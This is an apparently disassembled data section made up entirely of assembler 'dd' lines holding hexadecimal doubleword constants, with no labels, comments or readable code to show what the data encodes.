		dd 0D461F104h, 4BC750D0h, 0C8474F41h, 90820h, 0B1E8DF5Ch
		dd 835E5242h, 3196FD00h, 3276430Ch, 68C6180Bh, 7B12916Eh
		dd 99C7A407h, 5DB33079h, 0DC4DCA7Ch, 10800734h,	0C800AF0Fh
		dd 1C57742Ch, 563EF17Fh, 0E1EFB66Bh, 21401D88h,	59A8D8B1h
		dd 5A00311Eh, 700F16FDh, 1BCC486h, 94456829h, 0FFBFB112h
		dd 0D900208Bh, 3F9E888Ah, 513D03h, 0E21335AAh, 96182F36h
		dd 0B614A406h, 71789Ah,	0B4BDDBF2h, 8A5B56DFh, 2D432A00h
		dd 7B016A86h, 0FF2E007Ah, 987DDE27h, 0F81C53BDh, 0D5A8C054h
		dd 0D37D247Ch, 5507C67Ch, 0CE025283h, 20094Bh, 0F88BED01h
		dd 33D07F0Fh, 6608C7F0h, 0DA362103h, 0E07ECCEDh, 0EFE144h
		dd 7242C518h, 95C13FFEh, 16A29E03h, 0CC60F8h, 59877718h
		dd 8CACD973h, 4886DB37h, 0BCC0A385h, 3868F82Ch,	70317835h
		dd 80ACA808h, 175BC020h, 3B6CCCE4h, 41F76DCh, 1B883061h
		dd 223CA431h, 0F50070C2h, 0E2882B40h, 329ED7D5h, 592953C5h
		dd 6F117097h, 78E03080h, 0A61ED974h, 378E817h, 67E5E9D0h
		dd 986005ACh, 15BFB04h,	8405EAA8h, 0B1881CAh, 308A1187h
		dd 0E7EEF082h, 90A0C3C4h, 5C6FFECh, 0E436B804h,	4D800B84h
		dd 251B543h, 7C404D0Dh,	87C0687Dh, 0F2478C6h, 0A207430Ah
		dd 8AD00599h, 0F081EB9Ah, 86030334h, 20CA959Fh,	0E0043147h
		dd 7CF8C4F9h, 0E7965CC5h, 0B0807700h, 48267B08h, 490BFE00h
		dd 64F9CC53h, 23731E3Fh, 29A79896h, 0F887AB4h, 40608858h
		dd 89BBA488h, 202508D0h, 8C505662h, 0BE445128h,	873184DCh
		dd 42282963h, 11B90911h, 81119578h, 13141270h, 2780DD9h
		dd 67521064h, 80415088h, 9D001E9Eh, 2CD7EBDDh, 677C4Dh
		dd 0F5CCBCE2h, 0DC0928B9h, 26254400h, 0FDEE565Eh, 0B7631E12h
		dd 45B1C3CEh, 0D890AF5Dh, 0E2395517h, 7D5B00E7h, 81390B08h
		dd 0CFFF001Ah, 0C9F11E64h, 0A3F87052h, 6001CF6h, 2751E53Ch
		dd 3A9FCBDAh, 0B4000F25h, 0FFBCCF95h, 2E03DC01h, 290E1AAAh
		dd 0B83CDBC7h, 3D9A2Bh,	62DE4268h, 6DEF4EB6h, 4A76C100h
		dd 6AB934FCh, 1B9F0003h, 6115F296h, 0EFA4D78h, 0DA974C01h
		dd 16DDA262h, 58AE7E80h, 0BA5E2317h, 0F2ECE017h, 3B28E607h
		dd 6A80ECh, 25682D93h, 0DCCBFB7Dh, 4A9E8F07h, 0AC802859h
		dd 0CE49Bh, 0F1E188EEh,	0C037F9D6h, 4EF07017h, 0C79CAB0Eh
		dd 0F2A0D384h, 583DFCh,	268B7235h, 623BE2B7h, 8EC711C0h
		dd 27B5127h, 86B17D04h,	4C41210Fh, 0C11BDC47h, 14E11900h
		dd 1F06BD83h, 17693CF2h, 0FBAC8480h, 0B27D0FAFh, 0A2ACB38h
		dd 0D060F30Bh, 586E9B80h, 3A979C9Dh, 5903685Bh,	0A70618AEh
		dd 6CA81100h, 0DEFB432Bh, 3F8D1238h, 8AAF0094h,	0FF999DBEh
		dd 47249612h, 0C89A9400h, 69468Eh, 7DCC2C10h, 66271E6Eh
		dd 71F1B602h, 0C07FF8FAh, 1E2A544h, 58A0C949h, 0F0568393h
		dd 3B0063F9h, 685AD464h, 11DBCDh, 825D1C3Dh, 48C97C53h
		dd 40AC5C00h, 0F0D2DF35h, 74B4F8FCh, 2DA000D1h,	0CCA1F30Ah
		dd 197660C3h, 0F6022F38h, 0EC699800h, 0BF11B720h, 0D81B601Fh
		dd 8F576BA3h, 0E8B07C51h, 81FD8EAh, 6A1DE696h, 5470E700h
		dd 1D48B6FEh, 1DCFB152h, 0EF40C039h, 0FDF4B7CDh, 9CB4443Ch
		dd 803E2880h, 4B108712h, 38C599C8h, 0E7CC37EEh,	35C4B300h
		dd 9176675Bh, 0E2830EDh, 0E39B1C00h, 330ACD29h,	0D13E00D9h
		dd 8DF31B82h, 0DA0350DFh, 9A902C42h, 60F0C85Bh,	483500D6h
		dd 4D9905CCh, 6F0E7806h, 40E15302h, 45FFE228h, 87650074h
		dd 68C898B9h, 0AAC09376h, 0AA192D0Ah, 0E52001Eh, 6F23536Eh
		dd 51007AA8h, 8AE1FA9Bh, 692FDFh, 315B02A6h, 8BA2226Eh
		dd 0F7601400h, 1EF58063h, 2AC900F4h, 4E3D08C5h,	0D2003BDCh
		dd 914C43E6h, 14A7F7Ch,	0E159DEEDh, 0F4D46306h,	60710952h
		dd 3C8CAC48h, 7F1280C6h, 1C37CCFFh, 0E1870054h,	0A4C94761h
		dd 920044DAh, 0EC3585FBh, 0E87DB6h, 4BBCEA6h, 3EDC4AF5h
		dd 18DF9404h, 0FC80B358h, 0A3A993h, 0A05C8B63h,	7764E756h
		dd 0C1BD900h, 100562BCh, 3A1E0078h, 0B17F8B74h,	0E89A864Bh
		dd 91B0D706h, 40AFCBh, 0C6D6A556h, 0CDBFCEB3h, 39E8EC1Dh
		dd 3EAA04F8h, 2E8027F8h, 0C3E540h, 47DDCEBh, 7B5B7898h
		dd 0C726CAF6h, 0F9000892h, 3F20B11Fh, 0F264F407h, 0A50B00E3h
		dd 826F8899h, 0BF00402Eh, 6BAAA778h, 0C0D86AD6h, 6C2FF019h
		dd 9760F91Ah, 169AF2F6h, 24B8003Dh, 0A849CB5Eh,	0DE1C5B2Fh
		dd 0F380F57Fh, 0D81687F6h, 0B782A069h, 915F004Fh, 83EE20DDh
		dd 0BCE018DEh, 0E400C07Dh, 738DB26Fh, 0B88F06h,	0BAEC7AEFh
		dd 661B3BF4h, 0BF08100Ah, 20038C1Dh, 91CF3D26h,	0CEC00CF5h
		dd 6F9C3F84h, 14582380h, 8824DD59h, 0C537800h, 1F7273BBh
		dd 9403008Ah, 0C9D95A6Eh, 6500CFA7h, 82C0B044h,	0BF0A41h
		dd 1E4E945Bh, 37610945h, 5A445F00h, 96C5859Eh, 0E19CA0F7h
		dd 0DB450026h, 0C1C04A5Bh, 24008A06h, 29511C7h,	0F0F6862h
		dd 9B2304A6h, 7FC030B3h, 5800E7AFh, 2A85C589h, 0FE3EA473h
		dd 71BD3B03h, 2C2F3A80h, 3F96C353h, 0BBC04001h,	0B927AD5Fh
		dd 487EE860h, 0FF8164BDh, 0DCD04202h, 6E12D7FDh, 8C0E1A19h
		dd 5F2D609Eh, 0D6EFDEh,	6BCD3166h, 2C6FD242h, 43212402h
		dd 0E0E14AB0h, 7ABBE3Ah, 85CD2D7Bh, 0E37383E9h,	747FCEC9h
		dd 0F5078C48h, 3AA0B956h, 4005AF82h, 14AD98h, 0FBEC2D5h
		dd 0E0F089B0h, 0E2EAEE00h, 0EE3A251h, 0E00C4CDFh, 0B1A1DB00h
		dd 7F7EC315h, 0D2169B13h, 138F6400h, 0F2185B1Ch, 0FDC50075h
		dd 5657DDB1h, 4001CF7Eh, 0A9F16458h, 97C8689Eh,	809A0E6Ch
		dd 214ED18Dh, 70FAF420h, 0D90E7FD3h, 0A032BC6Bh, 6495C4ADh
		dd 0EE69F21Dh, 2CF30021h, 4C26177Ah, 97001A73h,	0F94206BBh
		dd 7C085Fh, 47222A3Ch, 0A9E72904h, 1844FE00h, 0AAA6AB90h
		dd 3720E7D5h, 891B3C3Dh, 5735EB07h, 822D30D7h, 5E09CDC6h
		dd 1189154h, 88B3AA48h,	26AB48C8h, 1624C0A7h, 4230008Eh
		dd 7DB75DFEh, 1EEB3400h, 0E2C26940h, 0BA2070ABh, 0F4E601DCh
		dd 0D19BAA56h, 5F6EE064h, 19A43A09h, 0E9200086h, 24EDF8h
		dd 997D7748h, 0B0A59BEAh, 2875672Ch, 0A6FD1500h, 0C0638h
		dd 257F8689h, 0FA44F7A3h, 24D758h, 2BD1BB4h, 2957113h
		dd 47FF4DA2h, 2C60535Ah, 0D60764DCh, 77366CFEh,	2FDE4020h
		dd 0B86160AFh, 4A5AFB72h, 0B0148E30h, 89383Eh, 0E3232759h
		dd 8C7A268Dh, 731C9E07h, 24D2D335h, 0D0A58063h,	3EDBA83h
		dd 0B4E4C9Dh, 0AB98FE85h, 0F6009843h, 0E46F2C65h, 34BCAAh
		dd 27C0A56Ah, 0E85106D1h, 0FD00BF75h, 0F73A2EF3h, 38FEEFAh
		dd 43D9941Ah, 0FBD0AE10h, 0D61DB154h, 72C179FFh, 0B9351A3Dh
		dd 755F01FCh, 0CF882E9Fh, 9E8E0012h, 765DC230h,	23629718h
		dd 0C8D840h, 0C8141AAh,	45AB53BDh, 68518C05h, 0CC00C311h
		dd 641A988Eh, 8A4F00ACh, 51BF5CB4h, 73009D03h, 55D05E0Dh
		dd 12ABC2h, 6E0CDC16h
		dd 0C7B656E1h, 1A854B00h, 0EEF781CFh, 61D3007Fh, 3366A8D4h
		dd 0E5007446h, 8EC53807h, 3407301h, 3CC4A47Eh, 8CB83587h
		dd 94003027h, 6833FC3Dh, 3B46A8Ah, 0D13F6D16h, 0CED0F163h
		dd 0F8E6C332h, 10A7B000h, 96A38DBDh, 6DC9009Fh,	7854745Fh
		dd 7C606705h, 56E43A30h, 6DF8A08Fh, 0C0B48D0h, 0E5F5C901h
		dd 3004C557h, 7F00FB5Ah, 3E8E0231h, 13EF8672h, 194F80h
		dd 0F587FA80h, 46485F89h, 97F30004h, 9FF216D7h,	0F978BF50h
		dd 0BFC53900h, 0BF4520Eh, 0C45905CDh, 0C0F7E4DAh, 3BA7AAE0h
		dd 581D8D4Bh, 0B0419A1Bh, 1FFB0A53h, 0E6FC490Bh, 2987076Ch
		dd 6820DB5Bh, 44CA161Ah, 0F78F0A02h, 401EBAD0h,	142214BCh
		dd 0FC21CB41h, 8871FC00h, 1F016BA0h, 2D006C72h,	804428E1h
		dd 0E071027h, 9E132678h, 606298A7h, 4FBCDADh, 0AC386A1Ch
		dd 196D8645h, 42900480h, 1CE75C0Ah, 8045CF87h, 0A316A7C1h
		dd 5D0087E2h, 0D1D0EBA8h, 96F6FBh, 7E8CBC5Ch, 6F74CF82h
		dd 0F0DF3400h, 6B8FCCAFh, 0EC9100A7h, 0FA583F8Dh, 4800331Fh
		dd 997CF5BBh, 0F78030h,	714D28A0h, 5A91ED26h, 0A902A00h
		dd 0B87AE4F2h, 0DFCC00FAh, 0BF7EE241h, 287AEF61h, 0D9305400h
		dd 0B6EA39DCh, 1849003Ch, 61D64F63h, 521E8D03h,	2FC04C22h
		dd 6E590571h, 919A01A6h, 135D79B0h, 0F06E0D2h, 51887600h
		dd 81E7D9D1h, 9E2F007Fh, 3ADC17E3h, 0DF0CC6B2h,	0F8A6891Eh
		dd 51D2005Bh, 151FF2AEh, 2B1CF09Ch, 13C0C511h, 0BDA4D7F5h
		dd 6D7700E4h, 0D6D54D42h, 0A9003A7Fh, 5CFC9E55h, 2462283Ch
		dd 30EBFAh, 8046C4B8h, 0E30031C8h, 579566CAh, 0CC763Bh
		dd 962010F0h, 5603B004h, 0A56F5B01h, 0A132859Bh, 21E5A740h
		dd 7D9000CFh, 0D8EA4C98h, 0C5001681h, 4A412418h, 13620Dh
		dd 0B873FC2Dh, 7B8FD6FBh, 75C96000h, 0D38688FAh, 0B4E456h
		dd 9D71705Bh, 0C8BF97E4h, 66994000h, 0AC06A10Bh, 0E2D90049h
		dd 8D988488h, 9A06A503h, 0BB454A44h, 0FB741DF0h, 4CAD003Ch
		dd 65648C52h, 714E4D00h, 5756DB16h, 219E60F5h, 6C8BE734h
		dd 23A54207h, 0BE303212h, 107D9D6h, 0CF7BD81Bh,	0F42540A0h
		dd 0BC0396E9h, 0C3B80839h, 4416815Ah, 5BC5C0h, 0A349620Ch
		dd 77069856h, 6E10CB00h, 0D0E1F914h, 471B0760h,	1076BACCh
		dd 0E9C5645Eh, 930BC0Eh, 0CB6A874Ah, 0D22EC0D0h, 47CF4C5Bh
		dd 0DA0EC900h, 0CCD04051h, 0B9F6AB00h, 0D8BD14D5h, 0AFCCAh
		dd 7BD97905h, 0F9061A21h, 0FE561B00h, 989B9381h, 91250322h
		dd 55C6F5F6h, 74D7F0EFh, 0E3E4335Eh, 64789400h,	2FE12A5Bh
		dd 570F3A0Eh, 0E9396C0Fh, 0E8A276C0h, 0FD1E101Eh, 9AC00D62h
		dd 0AADEA916h, 3F2E834h, 0FCA52127h, 0ACF0B68Ah, 9600812Bh
		dd 0E136E3EDh, 0B14C40h, 0C70393EBh, 5C1F6ADAh,	0CDB6BD00h
		dd 2EDCAD14h, 0F6100017h, 0F858355Bh, 1D1DD9E5h, 49C3165Ah
		dd 0DAA9D529h, 2E50C06Ch, 28FD0075h, 0F75109DEh, 9F004008h
		dd 4E88732Dh, 78453884h, 0E7F10150h, 0C62952ECh, 0CF22C8ADh
		dd 57005B71h, 679CA2C1h, 3BE19B5Fh, 320021DEh, 644A96AEh
		dd 0FB7CC06Ah, 0AF16B901h, 0A07B7093h, 0B0AE2E20h, 5B911FAAh
		dd 8290C05Eh, 0F676B243h, 0C7589F72h, 69EA1D21h, 30DCC200h
		dd 1406F7ADh, 84E480B1h, 7645BC00h, 0B0AE7D24h,	2166CB00h
		dd 8718CCC4h, 26CF01D3h, 4E299658h, 0B42180AFh,	0DD9AB567h
		dd 0A8895C47h, 8B0AEF0Bh, 2DC1168Eh, 0D0CE3315h, 98742Ah
		dd 6C8F8C1Fh, 0E04183CFh, 4B0A190Fh, 0BAB100B8h, 0FFB5A791h
		dd 747A11F2h, 5DF65800h, 8E41B2D1h, 0E5C3A0A0h,	42F705E8h
		dd 0C0FA4988h, 3E4720ADh, 0EF8EF500h, 3D9E57A0h, 48F618A2h
		dd 0C360648Bh, 1254F48h, 0F04BE626h, 0F13BC2EFh, 0DD188E72h
		dd 379D14A3h, 9DC01069h, 8A24E0h, 2C6BDFE4h, 464DEC0Eh
		dd 0D5C7B800h, 0B685AE29h, 7DD400C1h, 958D0C7Fh, 0C43D71C8h
		dd 319A0E3Fh, 9743E06Ch, 0A679BEh, 0D075C98h, 0D32D3061h
		dd 0C1A7FE00h, 0EFCE3845h, 92F6248Eh, 9D900A5h,	0FFEB2666h
		dd 0ACC53Bh, 0B8E6FBF2h, 92DA40h, 20DCBD76h, 0CAB9F4B0h
		dd 0C6F38300h, 8A09772Bh, 5140C0B1h, 1F2CFA7Ch,	0E7901D1Ch
		dd 35389198h, 0AB471880h, 3C81114Ch, 503AB906h,	48A623h
		dd 34C06071h, 9FEAA254h, 0F0E3676h, 465FC185h, 609CD9h
		dd 0AB25BBF5h, 1AB48292h, 8590E31Fh, 1626F400h,	1E64046h
		dd 685CB2ECh, 0F8552BC9h, 0E500ED0Bh, 0C3829B79h, 72DEA27h
		dd 54B21B4Fh, 0F18F402Ah, 0B2CA8DEh, 5B008078h,	15B41D67h
		dd 8E3238E5h, 0B5DEF000h, 0ED6C138Ch, 0F2879F00h, 9C3A4B2Ah
		dd 0AB930032h, 0FDDF2210h, 0B007508h, 74E2AE42h, 0C0299F9Eh
		dd 34234EFAh, 0F900B166h, 3CB59DACh, 0E90F0Ch, 0C8162853h
		dd 0CBC046FDh, 111D1200h, 0E35B3926h, 695E030Fh, 0EE84B0ABh
		dd 50EEFE79h, 0A41A4201h, 867958C7h, 0A09B4AC8h, 94BC590h
		dd 4F235A74h, 0E033F283h, 9583B9E0h, 0FF5811Eh,	4D623D41h
		dd 609EB8h, 7CDB0BBAh, 82006C76h, 0DD355714h, 1D8CDE01h
		dd 8D8BD9A5h, 78B89040h, 5BD13AC7h, 65018038h, 666D4DDFh
		dd 6045F13Dh, 0D878CEC0h, 91350909h, 2DC8015h, 1FDDAE43h
		dd 40EB07ADh, 7636BD9Bh, 44C0D1D7h, 5DD8C6A8h, 44330FF9h
		dd 0F62E46B3h, 21AA260h, 0AE012372h, 65A7BF81h,	0EC208A6Ch
		dd 894406D7h, 688B8499h, 70594C00h, 0E67EA35Eh,	10340167h
		dd 836D3A55h, 8D0070E8h, 0B81E1E78h, 0BECF4F2Bh, 371D77FBh
		dd 0B2E05C0h, 71ED04FAh, 0C9800009h, 0F185E48Dh, 39006530h
		dd 0A82A577Bh, 42F975h,	810CA574h, 0F6CB8079h, 3455CD12h
		dd 24F7703h, 6C2CD08Eh,	0E7373DECh, 708B3280h, 71BC9B20h
		dd 5C72AE00h, 3F2602DCh, 0CFBB14AAh, 0A1009C50h, 0E5326D8Ah
		dd 0CE009089h, 9AB888B4h, 39832Bh, 21D102DBh, 3C1A47Ch
		dd 0E82FCA00h, 1298F93Dh, 837F18h, 551732AEh, 0C20976D8h
		dd 43EB1C00h, 9342C702h, 6B530054h, 0AED02BA0h,	81017391h
		dd 34584B80h, 95D0773Ch, 7F390099h, 7CC3E65Ch, 81003FF7h
		dd 530986DFh, 8F9AF8h, 0F9594E43h, 35D23616h, 67B6AC0h
		dd 0DF9D5Eh, 0C2AC6047h, 0F169CAFAh, 17405C00h,	8D3E3273h
		dd 85340068h, 81EAEAFh,	501A6F8h, 170F3ABDh, 0E0700D37h
		dd 8B92017Fh, 5C2AD2C2h, 0EA0B2072h, 0BFACE001h, 52B854B6h
		dd 81ACCh, 0DFE95AD9h, 0B2A45D87h, 7ACF800h, 0D7476E39h
		dd 0E6D900F9h, 0F5DED2DDh, 0C1006F4Ah, 10092D7Ch, 203A94Dh
		dd 43BCF8B5h, 7C6BC7A5h, 802923A2h, 181B14CDh, 6DE80012h
		dd 0FB283EA3h, 0AD00E2D7h, 0B4F7E4B3h, 9181DA8h, 37FCFA5Ah
		dd 8A26780h, 2BFA0CBEh,	0CF08874Ch, 80405F59h, 0A39A74F9h
		dd 0A030E82Dh, 3C49D4C2h, 42804F01h, 930315AAh,	0A2E23508h
		dd 0F369E20Eh, 0A03FAF71h, 568FCD54h, 0E6FC1E63h, 87B8A4BCh
		dd 5F3EF096h, 616EC860h, 9E033A29h, 3FF66556h, 0A02EEFB2h
		dd 692F3EFDh, 6FAC0038h, 0C166339Dh, 5B30DCCBh,	498E1E0Fh
		dd 0B94A09C2h, 0B807B05Ah, 19A4417Fh, 0FAD8347Bh, 0E89EC200h
		dd 1F8BC3D4h, 974B0366h, 6D371129h, 1563E1F0h, 0EE0018E0h
		dd 740477B5h, 17A7D457h, 988512h, 1967636Ah, 5E01B306h
		dd 0B160A87h, 0C040CF9Eh, 3127F1h, 0C0E63F47h, 9174CEB6h
		dd 220250Bh, 0EA298052h, 3788ED8h, 5157E56Ch, 22F8F71Dh
		dd 0AE00474Dh, 41D6BBAFh
		dd 9915F6Bh, 936A3650h,	17445C81h, 94071084h, 0F353769h
		dd 0F6E770B9h, 4900B416h, 0A770D247h, 1C153069h, 0B9816Fh
		dd 4DE52775h, 720EFA51h, 5F92DC98h, 0D600BC64h,	0F186D723h
		dd 14A60045h, 0CAD3D239h, 311F2DC5h, 7C5257h, 0C9A41555h
		dd 7A1D188h, 20766C4Eh,	8586D19Fh, 0D402D41Ah, 0C49E9709h
		dd 785A80EBh, 0B866372Eh, 0C8773BF1h, 824C6000h, 0FA7DA91Ch
		dd 90FBCE05h, 74D114DCh, 0B030D4D7h, 487B001Ah,	9241AFF0h
		dd 353DF9F8h, 0C281DE24h, 0A44071FAh, 0C8EE1E9h, 0FBA654C6h
		dd 0AD0F44C8h, 0E0871C93h, 8949283Ch, 820404ACh, 0C02E67F8h
		dd 0DE19BF3Ch, 982A8824h, 26A2BCh, 9BCA56ACh, 0C36A1D1Ch
		dd 0D65E491Dh, 0D4804141h, 0BC70ACBEh, 83C548FDh, 1C5D0517h
		dd 6F2B85DCh, 0A102EF64h, 0E8D3BF94h, 87620h, 34538940h
		dd 0B9CFAE86h, 0C4D24A00h, 0DEED1054h, 3E8200FBh, 8F8E80E5h
		dd 0F6F09D7Eh, 8D46331Ch, 0B11487C2h, 0E3F08302h, 0F5C8BB88h
		dd 160DC800h, 0F2847EAh, 0C20EE804h, 11F0DB40h,	30C0DD85h
		dd 0E47A3B43h, 100165C0h, 0E0AF8013h, 0B6009A7Fh, 8AD559D9h
		dd 9D89DAh, 41D796B3h, 2E551412h, 0FA958700h, 0AB0D6DC7h
		dd 0BADE05B4h, 0D005D4A9h, 92D90694h, 61E4340Fh, 60D6E03Eh
		dd 3FE825EFh, 3C800D2Ah, 0C2B17B01h, 0A81EDDBFh, 80C02954h
		dd 3F3E1A02h, 2F18004Ch, 9D5DE3B7h, 65F8C2F6h, 80FFCC3Ch
		dd 35BCA004h, 3AAC3D7Fh, 0A596730Ah, 0F451006Eh, 0CA4DAFB1h
		dd 8AB72E02h, 610A8E9Eh, 0D3E867B8h, 62751D97h,	3180BBA4h
		dd 0C7543833h, 802EECFEh, 0D017388Ah, 4B52D300h, 1E9264Fh
		dd 7274C0DAh, 0F80EF680h, 0BF04613Dh, 0F9165AF5h, 0D4B9B8C0h
		dd 0F0080956h, 1CA0CE22h, 0AA11C879h, 405A6100h, 7C2716F5h
		dd 0E55ECC2h, 995CA1D7h, 0D8766B80h, 0F63887D0h, 0B14C805Fh
		dd 821C0B58h, 0F1970001h, 0A44F42Ch, 5B50575Ch,	9405DCECh
		dd 0B3F514FDh, 4223FE00h, 0EBF5245h, 0A38D033Fh, 34F39CA0h
		dd 750114A1h, 0CCC491E0h, 2EC45DEAh, 4E2D29Eh, 0D0D20FA8h
		dd 412FC414h, 1DB5F0Ch,	0B2C0A7h, 0F5C733B9h, 0EA88EFD7h
		dd 2E68F105h, 0D8C01F75h, 1F8643Eh, 29D3C0EDh, 0ECEBA84Dh
		dd 2300020Eh, 74241DD2h, 0B703FDh, 8D382105h, 81D8B3F6h
		dd 84780A02h, 0E05F0CECh, 0F310BFCh, 0B73D9B32h, 76276F2Eh
		dd 129FB0FFh, 8E00D441h, 0E850FEFh, 0D8D58Fh, 23FF091Ah
		dd 4FDCA001h, 0B62E7400h, 0E05CC294h, 93E1008Bh, 0B9374B8Ch
		dd 6909C197h, 20A1484Fh, 8747F6B8h, 0F7A4004Ah,	0E7149B77h
		dd 40FEA2Eh, 0E3361AB3h, 0C9934F5Dh, 6830F921h,	36544818h
		dd 0F0927300h, 0BDC4B936h, 0A6FAF700h, 128620DAh, 1255E019h
		dd 21BFB4h, 0F46D7625h,	0C404611Eh, 0C00CE213h,	0C67B0C91h
		dd 154C64h, 5878AB68h, 0BD5C1EC4h, 0EE7C900h, 0DCA5CB01h
		dd 9B920086h, 4053FCA1h, 0A3241E88h, 0F500D410h, 47835CD1h
		dd 0F7F60090h, 41C223Bh, 44B003F2h, 0F0DE6600h,	4C0D5AC2h
		dd 1D655844h, 25B3BC00h, 870A6D8Dh, 5E5B600h, 0E2737916h
		dd 0DCC10017h, 0C77D5E24h, 81006BBBh, 0B5B68429h, 0EB56E7h
		dd 82DD3E70h, 0DF9459A8h, 9DBCB33Ah, 0F0641825h, 0C4FED300h
		dd 1E4D6607h, 0C0CB85BFh, 51C3AEADh, 7C003356h,	159DE9Ch
		dd 0FD3DBE5h, 0B6781431h, 0D9B9E780h, 0EE05748Dh, 0D4566D75h
		dd 0F3F613C1h, 0B3D81980h, 7ADC705Ah, 4B8B200h,	0FF9226C8h
		dd 0DFCC28F9h, 19D100ECh, 0A554777Ch, 55004FE1h, 9F89AF5Dh
		dd 78178F4h, 0B534C8E8h, 0ECFCA0B9h, 8400A131h,	0DB6B4924h
		dd 1F17835Dh, 80DAE39Eh, 589A1960h, 949044E5h, 3CA093Fh
		dd 9DF082BDh, 5E7100DDh, 0E21E44E1h, 0C23F8D2Dh, 8F54FB71h
		dd 0EA81E810h, 0D1DA1C01h, 8A7FD0A0h, 489E0F24h, 0D765282h
		dd 753BE1D4h, 0B8806980h, 1E461535h, 6E1CBA7Ah,	5B007A7Ch
		dd 8932C71Ah, 587D1444h, 960050CDh, 688325C4h, 21CF2499h
		dd 0C8581429h, 901A66C9h, 7D1C9604h, 9C32058Ah,	75C1E600h
		dd 1DEAEAh, 5955FC12h, 0DC89A761h, 81E2C000h, 0E73FD1FBh
		dd 503300CEh, 42E98A60h, 3E00EF5Fh, 6E1703D5h, 0FA44B8h
		dd 0A576E29Ch, 81A00A01h, 0C1A65C06h, 6E692Dh, 0AC660904h
		dd 0BA314AABh, 0EE9D93A0h, 3E6E583Eh, 0C5420EE0h, 376BE046h
		dd 1966916h, 435883A8h,	0D4A105BEh, 571E9B40h, 7900C9C4h
		dd 709C280Bh, 0B2F939B6h, 1D14338Fh, 0D1182A8Ch, 90886250h
		dd 0D9080B67h, 0C508F51h, 8595C0h, 0D472FB47h, 5E759839h
		dd 27EE5C05h, 0A447E377h, 0C14167D9h, 11801076h, 1929929h
		dd 7D198483h, 31098ADDh, 0A1492180h, 0EB72592h,	83164000h
		dd 28CE9DADh, 8A950653h, 0A87855DEh, 0AA54731Fh, 6C9662C1h
		dd 78B2345Ah, 9730BF70h, 83271192h, 80388894h, 2A929F4Fh
		dd 4C033C3Fh, 285CAD6h,	2000C591h, 6BB8D2F6h, 0AC2C09E4h
		dd 0B58306B4h, 0C9F80ACBh, 0B7034F07h, 0DDD60CDEh, 1AA826D0h
		dd 72F40060h, 79753BF1h, 68B08D00h, 0B1BDE4B4h,	0CA5400A2h
		dd 397DE382h, 0EC1EFB09h, 8309E0BFh, 14A806Ah, 3645EF8h
		dd 72F7FE0Eh, 8FF1A0F5h, 0F6C8CB48h, 44721B38h,	0B58C5506h
		dd 281218h, 0DCDE2031h,	6CB83EF6h, 90B93Ch, 60C4616h, 60F31CDh
		dd 66ABF85Ch, 0C09F30F4h, 3B5BEEDh, 125DCC76h, 818BC7Fh
		dd 3820F81Dh, 21BE3B9Eh, 25561Dh, 4D16B381h, 456C5B72h
		dd 74FE49A8h, 0D5BE37E1h, 96178039h, 7F035C49h,	76F23298h
		dd 0F0083040h, 49AEB821h, 50A7102Ch, 0C7B78E07h, 5B8BA04Eh
		dd 3FEE0D13h, 60150E97h, 910084FDh, 78B2B4BBh, 0FC1911EAh
		dd 6B08D2B0h, 0C33C2180h, 508B3B4h, 4F7B6D0Ch, 3A324810h
		dd 84D00E80h, 0B6900658h, 18F85B86h, 6D801FFCh,	63050738h
		dd 7587184h, 907FF0E9h,	0DA3B89A6h, 0B3C100DFh,	9D6523E6h
		dd 7AF017ACh, 0F13600E5h, 89C07B06h, 0B1BBC400h, 0CE09451Ah
		dd 94BA01D9h, 0F027ADDh, 3739FC5Bh, 4D0D1200h, 89F5D6A2h
		dd 57D9003Bh, 160E8823h, 9600DC15h, 0BE442FD7h,	0E729AE8h
		dd 0F07442A5h, 1CF431C1h, 86B8CF6Ch, 800E49E4h,	8070C26Ah
		dd 1D8FEAB1h, 1CE7F6D7h, 59EE7A31h, 817708B9h, 0D6162421h
		dd 0A8DF67AEh, 0EF8E6F4h, 7A88EB18h, 0DFCF6C81h, 6759917Eh
		dd 0E7583898h, 222C2952h, 2B312E79h, 0F6C00CFh,	61864F91h
		dd 7A94180Ch, 3FA45080h, 893CD0F8h, 584C2999h, 875131A2h
		dd 95E5C641h, 71196F40h, 0C72F00D6h, 0A621DBEDh, 881BF414h
		dd 602098C1h, 0D26EF230h, 0E060DAA3h, 0C9614560h, 0CC0200E9h
		dd 0ED66057Bh, 0C8C0FB0Ah, 0C43283D2h, 0E8E4007Fh, 2EFEBE3Dh
		dd 0BF000E5Eh, 0A746495Bh, 421B63h, 0EE8C12F0h,	0D3FC9CC8h
		dd 34DABE00h, 5CCAECC1h, 383B5885h, 4B3A017Ah, 7E890447h
		dd 989DF035h, 0D70EA800h, 6DEC7041h, 11B465AFh,	83042FB3h
		dd 1C3487F5h, 8031C010h, 50CA4E27h, 0F800DD76h,	956A4B5Fh
		dd 7F14B6h, 37DF0768h, 5D422DF4h, 90075377h, 0DC6FE26Ah
		dd 20013400h, 93E90008h, 7C50771Ah, 31C5D26h, 0E68090F1h
		dd 19764889h, 158D1E69h, 86471DA1h, 120C99C9h, 20172F00h
		dd 0F88A24C6h, 738C00EFh, 99B0296Ah, 0E600C1B1h, 0A2F443ACh
		dd 1A45E2h, 2F881CE0h, 4BC9DEC6h, 9CD39D00h, 485FC38Eh
		dd 5B600A7h, 0E9195E43h, 1F1C09DBh, 7E81EB0Fh, 372AA5DEh
		dd 408087D1h
		dd 9678A982h, 5E0022FBh, 2A27B51h, 389D5CFDh, 0F900A44Eh
		dd 3C774BFEh, 9600C190h, 8AA5098h, 112FE16Ah, 1F497EF3h
		dd 8FC06B9Ah, 72D7405Fh, 833F0030h, 127CA90Ah, 0B805BDE9h
		dd 94018F64h, 8231C440h, 0FD672Ch, 0DAAF1A7Ch, 0F1F82360h
		dd 0EB22F707h, 4910CFh,	0EFC79E78h, 0AAFF1786h,	32E50071h
		dd 3B4A8BC6h, 220DAC0Eh, 10B1203Eh, 20A4D8h, 0D7BB4558h
		dd 2F9D2928h, 0D3FC1254h, 0E98C5B00h, 5AFFE08Dh, 7F3B008Ah
		dd 930109A7h, 99004707h, 2E83412Dh, 70FA33h, 5F8BDCF6h
		dd 25CE3186h, 8A0FA000h, 0F89107C2h, 3367129h, 0F96C6DC0h
		dd 62E89FE6h, 0BA1DE8A9h, 3B9DEE81h, 803F61E6h,	10D75B0Eh
		dd 5294F8h, 9F246F1Eh, 99C4EADFh, 0DED4FC07h, 0B6509A7Ch
		dd 0E8B3F80h, 0E2473DE3h, 45CDE500h, 39007F6Eh,	0C6B56007h
		dd 503B72Dh, 0BF10BA8Eh, 0E9B400A5h, 0F1144095h, 0B0070F8h
